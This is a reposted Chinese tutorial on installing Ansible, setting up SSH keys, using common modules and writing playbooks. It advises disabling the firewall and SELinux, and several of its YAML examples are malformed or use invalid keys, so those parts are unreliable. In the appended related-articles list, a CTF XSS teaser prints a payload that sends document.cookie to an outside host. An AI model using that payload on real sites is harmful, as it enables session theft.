【Linux】Ansible集中化运维工具(详解)安装、常用模块、playbook脚本

news2024/11/25 20:32:15

文章目录

  • 一、Ansible安装及远程控制
    • 1、关闭防火墙和SELinux
    • 2、安装ansible
    • 3、配置SSH无密码登录
      • 1、在管理机上生成一对密钥
      • 2、将公钥下发到远程主机
      • 3、保管密钥
    • 4、主机目录
  • 二、常用模块
    • 1、setup模块
    • 2、copy模块
    • 3、file模块
    • 4、shell模块
    • 5、script模块
    • 6、ping模块
    • 7、group模块
    • 8、yum模块
    • 9、service模块
  • 三、playbook脚本
    • 1、指定节点和用户
    • 2、任务列表
    • 3、handlers
    • 4、基本语法
      • 1、变量
      • 2、条件语句
      • 3、循环
      • 4、include
  • 四、谢谢观看!

一、Ansible安装及远程控制

前提:要有两台主机(我这里是两台虚拟机)
如下:
在这里插入图片描述

ansible只需在管理机上安装即可。
被管理机要设置静态IP 设置方法可参考此篇博客
被管理机也被称为节点。
下文中,将被管理机centos_7_1简称为被控主机1

1、关闭防火墙和SELinux

systemctl status firewalld   #查看防火墙状态

在这里插入图片描述
防火墙状态参数为active即为开启。

sudo systemctl stop firewalld  #临时关闭防火墙

参数改为inactive即关闭状态。
在这里插入图片描述
关闭SELinux
查看:

getenforce

在这里插入图片描述
关闭:

sudo setenforce 0

在这里插入图片描述

2、安装ansible

1、安装Ansible软件包的EPEL源

yum install epel-release

在这里插入图片描述
2、安装ansible

yum -y install ansible

在这里插入图片描述
3、查看ansible版本

ansible --version

在这里插入图片描述

3、配置SSH无密码登录

需要使用到两个命令:ssh-keygen(生成一对密钥)、ssh-copy-id(把本地主机的公钥复制到目标主机上)。

1、在管理机上生成一对密钥

ssh-keygen -t rsa

遇到询问,一路回车
在这里插入图片描述
执行完毕后会在/root/.ssh下生成一对密钥,其中id_rsa为私钥,id_rsa.pub为公钥。
在这里插入图片描述

2、将公钥下发到远程主机

ssh-copy-id root@192.168.58.132 #该地址为被控主机1的ip地址

在这里插入图片描述

3、保管密钥

ssh-add .ssh/id_rsa
ssh 192.168.58.132 #被控机ip

在这里插入图片描述
此时就处于被控主机1的家目录下。
回到管理机,只需输入ssh命令

ssh 管理机ip

在这里插入图片描述

4、主机目录

主机目录又称主机清单,保存了ansible所管理的远程主机信息及一些连接参数,也可用来对远程主机进行分类。

主机目录的配置文件默认是/etc/ansible/hosts
查看该文件:

vi /etc/ansible/hosts

可看到以下内容:
在这里插入图片描述
将该文件清空,输入一下内容:

[webservers]
192.168.58.132  #被控主机1的ip地址

测试被控主机1是否能被ping通

ansible webservers -m ping

在这里插入图片描述

二、常用模块

查看ansible中已加载的模块

ansible-doc -l

通过ansible命令可以调用这些模块

ansible [节点] -m [模块] -a [参数]

1、setup模块

用于获取节点的详细信息。
例,使用setup模块查看webservers组的节点信息。

ansible webservers -m setup

2、copy模块

可实现从管理机向节点复制静态文件,并设置合理的文件权限。
常用参数:

dest      #文件复制的目的地
src       #复制的源文件
backup    #是否备份原始文件
validate  #复制前是否检验需要复制目的地的路径

例:
将/root/demo/demol.txt复制到所以节点的/root目录下(若没有该文件可换成其它文件):

cd /root/demo
ansible all -m copy -a 'dest=/root src=/root/demo/demol.txt

3、file模块

可用来定义文件或目录属性、权限,创建、删除文件或目录。
常用参数:

mode   #文件的读/写权限
path   #文件路径
src    #文件链接路径
stat   #默认值:file  
       #选项:file  #创建文件  
              link  #创建链接
              sbsent#删除文件

4、shell模块

可以执行远程主机的shell脚本文件,也支持管道。
例:
检查mysql进程是否存在:

ansible all -m shell -a 'ps -ef|grep mysql'

在这里插入图片描述
由图可知,节点192.168.58.132下有mysql进程。

5、script模块

用于将管理机上的shell脚本发送到节点上执行。
例,
写一个脚本:

vi hello.sh

//脚本内容为:
#!/bin/bash
echo "hello ansible"

不会写shell脚本可参考这两篇博客:
Shell概念、命令、操作(重定向、管道、变量)
Shell脚本编写基本语法
将该脚本发送到webservers组的节点上执行:

ansible webservers -m script -a '/root/hello.sh'

在这里插入图片描述

6、ping模块

检查连通性。

ansible webservers -m ping

7、group模块

可以在节点上创建组。
常用参数

gid   #用户组的GID
name  #用户组的名字
state    #默认值;present   
         #选项:present #新增
         #     absent  #删除
                 

例:
在webservers组的节点上创建一个组名为test、GID为2017的组:

ansible webservers -m group -a 'gid=2017 name=test'

在这里插入图片描述

8、yum模块

从指定服务器自动下载安装RPM包,并且可自动处理依赖性关系。
常用参数:

name       #包名
state   选项:present   #安装
              latest    #更新
              absent    #卸载

例:
在被控主机1上安装命令tree:

ansible 192.168.58.132 -m yum -a "name=tree state=present"

在这里插入图片描述

9、service模块

管理节点上的服务,可开启、关闭、重启服务等。

参数		选项		含义
enabled     yes/no      是否开机自启动
name         --         服务名称

state      started      启动
           stopped      关闭
           restarted    重启
           reloaded     重新下载

例:
开启被控节点192.168.58.132端的firewalld服务:

ansible 192.168.58.132 -m service -a "name=firewalld state=started"

可在对应节点使用systemctl status firewalld命令来查看firewalld状态。

三、playbook脚本

在学习ansible模块的时候,都是使用命令在节点上执行任务,命令使用比较复杂,且每执行一次均要重复输入,为避免重复输入命令,ansible提供了playbook脚本。一个能被ansible执行的YAML文件叫做playbook。

1、指定节点和用户

每个playbook都需要指定针对那些节点进行运维,并且以哪个用户来执行任务。
指定节点:hosts
指定用户:users

-hosts: webservers      #指定webservers组中的所有节点
 users: root            #指定用户为root

注:hosts的值可以是主机或组,也可以是关键字all,全部节点。

2、任务列表

即要执行的任务的队列,关键字为tasks。任务列表中的每个任务都通过调用ansible模块完成。按定义的先后顺序执行。
例:

tasks:
  - name: running nginx               #启动nginx服务
   service: name=nginx state=running  #调用service模块

name标签是对任务的描述,也可以不加,但一般是会使用name标签。

3、handlers

对ansible模块进行调用,用于处理一些动态事件。
handlers中的模块调用与任务列表中的任务不同,任务默认按定义顺序执行,而handlers只有被触发时才会执行。

4、基本语法

1、变量

在playbook文件中,是通过字段vars来定义变量的。
例:

- hosts: all       #指定节点为所有节点
  vars:
   http_port: 80   #定义http_port变量,值为80

2、条件语句

由字段when声明。
例:
当操作系统为Red Hat时执行重启命令:

task:
   - name: reboot Red Hat host
     command: /usr/sbin/reboot
     when: ansible_os_family=="Red Hat"

执行顺序:先判断when条件。如果成立,返回True,则执行上一条语句command:;
如果不成立,返回False,不会触发上一条语句

3、循环

常见的循环由字段with_items声明。
例:
在指定节点上同时安装多个软件;

task:
 - name: install LAMP
   yum: name={{item}} state=present
   with_items:
    - nginx
    - mysql-server
    - php

代码功能:安装nginx、mysql-server、php 3个软件。with_items会自动循环执行上面的语句:name={{item}} state=present,会用软件名替换item,循环次数为元素个数。

4、include

当多个playbook需要重复使用任务列表时,可以将任务内容抽离出来写入独立文件中,要调用时只需用include将文件包含进来。
例:有单独的任务列表文件tasks/nignx.yml,文件内容为:

---
- name: install nginx
  yum: name=nginx state=present   #安装nginx

此后,如果有playbook要执行该操作,只需写入以下代码:

tasks:
   - include: tasks/nginx.yml     #将该文件包含进来

用例演示:
通过编写一个playbook实现Apache的安装与启动。
1、创建目录:

mkdir /root/ansible

在该目录下添加apache.yml文件,此文件就是一个playbook

cd /root/ansible
touch apache.yml

编写playbook内容为:

---
- hosts: 192.168.58.132
  users: root
  vars:
   http_port: 80
   max_clients: 200

  tasks:
  - name: ensure apache is latest
    yum: pkg=httpd state=latest
  - name: write the apache config file
  template: src=/srv/httpd.j2 dest=/etc/httpd.conf
  
  notify:
  - restart apache
  - name: ensure apache is running
    service: name=httpd state=started
    
  handlers:
  - name: restart apache
    service: name=httpd state=restarted

使用以下命令调用:

ansible-playbook /root/ansible/apache.yml

四、谢谢观看!

参考书籍:《Linux系统管理与自动化运维》黑马程序员/编著

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2236539.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mysql学习笔记(一):Mysql的架构

一、mysql的组成部分 下面是来自Mysql实战的图片,该图片很好的表示了mysql的组成 mysql架构图 我们主要是和server层打交道,该层由连接器,分析器,优化器执行器、(查询缓存)组成 二、连接器的作用 每个客户端…

题目:Wangzyy的卡牌游戏

登录 - XYOJ 思路: 使用动态规划,设dp[n]表示当前数字之和模三等于0的组合数。 状态转移方程:因为是模三,所以和的可能就只有0、1、2。等号右边的f和dp都表示当前一轮模三等于k的组合数。以第一行为例:等号右边表示 j转…

【实验10】卷积神经网络(1)卷积算子

目录​​​​​​​ 1 自定义二维卷积算子 2 自定义带步长和零填充的二维卷积算子 3 实现图像边缘检测 4 自定义卷积层算子和汇聚层算子 4.1卷积层: 4.2 汇聚层: 5 学习torch.nn.Conv2d()、torch.nn.MaxPool2d();torch.nn.avg_pool2d()&…

基于springboot信用分析管理系统设计与实现

项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下,你想解决的问…

用JavaScript、Nodejs写一个本地tcp服务,用于前端WebSocket调试

效果: 准备工作: 新建一个文件夹,在根目录安装依赖: npm install ws express 依赖介绍: WS是一个轻量级、高效的WebSocket库,适用于Node.js环境。 express 是一个流行的Node.js Web应用程序框架。 新…

golang分布式缓存项目 Day 1

注:该项目原作者:https://geektutu.com/post/geecache-day1.html。本文旨在记录本人做该项目时的一些疑惑解答以及部分的测试样例以便于本人复习。 LRU缓存淘汰策略 三种缓存淘汰策略 FIFO(First In, First Out)先进先出 原理&…

论文阅读笔记:Depth Pro: Sharp Monocular Metric Depth in Less Than a Second

论文阅读笔记:Depth Pro: Sharp Monocular Metric Depth in Less Than a Second 1 背景1.1 动机1.2 提出的方法 2 创新点3 方法4 模块4.1 训练目标4.2 课程训练 4.3 边缘评价指标4.4 焦距估计 5 效果5.1 和SOTA方法的对比 论文:https://arxiv.org/abs/24…

Python练习13

Python日常练习 题目: 请编写fun函数,其功能是打印杨辉三角形。杨辉三角行如图所示: 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 要求: 采用列表函数完成 -----------------------------------…

第18篇 :深入剖析systemverilog中 randomize 失败案例启示录(一)

经过前面章节的理论学习,我们对systemverilog中的随机约束,有一定的了解,那么,今天开始,着重讲述一些工作中遇到的困惑。主要通过一些例子,层层递进,举一反三,源于实践,剖…

ArcGIS软件之“计算面积几何”地图制作

一、消防站的泰森多边形 效果图: 二、人口调查的泰森多边形 确定后效果图: 三、人口调查的泰森多边形属性设置 确定后的效果图: 四、计算面积几何,用于求密度 先添加字段area_1,然后设置浮点型及字段属性 五…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

大数据新视界 -- 大数据大厂之 Impala 性能优化:融合机器学习的未来之路(上 (2-2))(11/30)

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

数据结构-并查集专题(2)

一、前言 接&#xff08;1&#xff09;完成剩余题目和了解并查集运用求解最小生成树的Kruskal算法 二、专题训练 2.1 题目总览 前四题见&#xff08;1&#xff09; 2.2 1568: 并查集-家谱 思路 首先这个题目的描述就有问题&#xff0c;它说每一组的父子关系由两行组成&…

【销帮帮-注册_登录安全分析报告-试用页面存在安全隐患】

联通支付注册/登录安全分析报告 前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨…

中安OCR电子行驶证、驾驶证识别,助力便捷出行与智慧交通

随着数字化技术在各行各业的深入应用&#xff0c;交通管理领域也迈入了新的时代。OCR电子行驶证和电子驾驶证的推出&#xff0c;不仅提升了车辆及驾驶证件管理的效率&#xff0c;更大大方便了车主出行。电子证件的普及&#xff0c;使得交通管理从“实体化”逐渐走向“数字化”&…

《深度学习神经网络:颠覆生活的魔法科技与未来发展新航向》

深度学习神经网络对我们生活的影响 一、医疗领域 深度学习神经网络在医疗领域的应用可谓意义重大。在疾病诊断方面&#xff0c;它能够精准分析医疗影像&#xff0c;如通过对大量的 CT、MRI 图像进行深度学习&#xff0c;快速准确地识别出微小的肿瘤病变&#xff0c;为医生提供…

基于 SSM(Spring + Spring MVC + MyBatis)框架构建电器网上订购系统

基于 SSM&#xff08;Spring Spring MVC MyBatis&#xff09;框架构建电器网上订购系统可以为用户提供一个方便快捷的购物平台。以下将详细介绍该系统的开发流程&#xff0c;包括需求分析、技术选型、数据库设计、项目结构搭建、主要功能实现以及前端页面设计。 需求分析 …

C++入门基础知识142—【关于C++ 友元函数】

成长路上不孤单&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///C爱好者&#x1f60a;///持续分享所学&#x1f60a;///如有需要欢迎收藏转发///&#x1f60a;】 今日分享关于C 友元函数的相关内容&#xff01; 关于…

密码学是如何保护数据传输的安全性?

密码学通过一系列算法和协议来保护数据传输的安全性。 一、加密技术 对称加密算法 原理&#xff1a;使用相同的密钥进行加密和解密。应用&#xff1a;在数据传输过程中&#xff0c;发送方和接收方共享一个密钥&#xff0c;数据在传输前被加密&#xff0c;接收方使用相同的密钥…

让Apache正确处理不同编码的文件避免中文乱码

安装了apache2.4.39以后&#xff0c;默认编码是UTF-8&#xff0c;不管你文件是什么编码&#xff0c;统统按这个来解析&#xff0c;因此 GB2312编码文件内的中文将显示为乱码。 <!doctype html> <html> <head><meta http-equiv"Content-Type" c…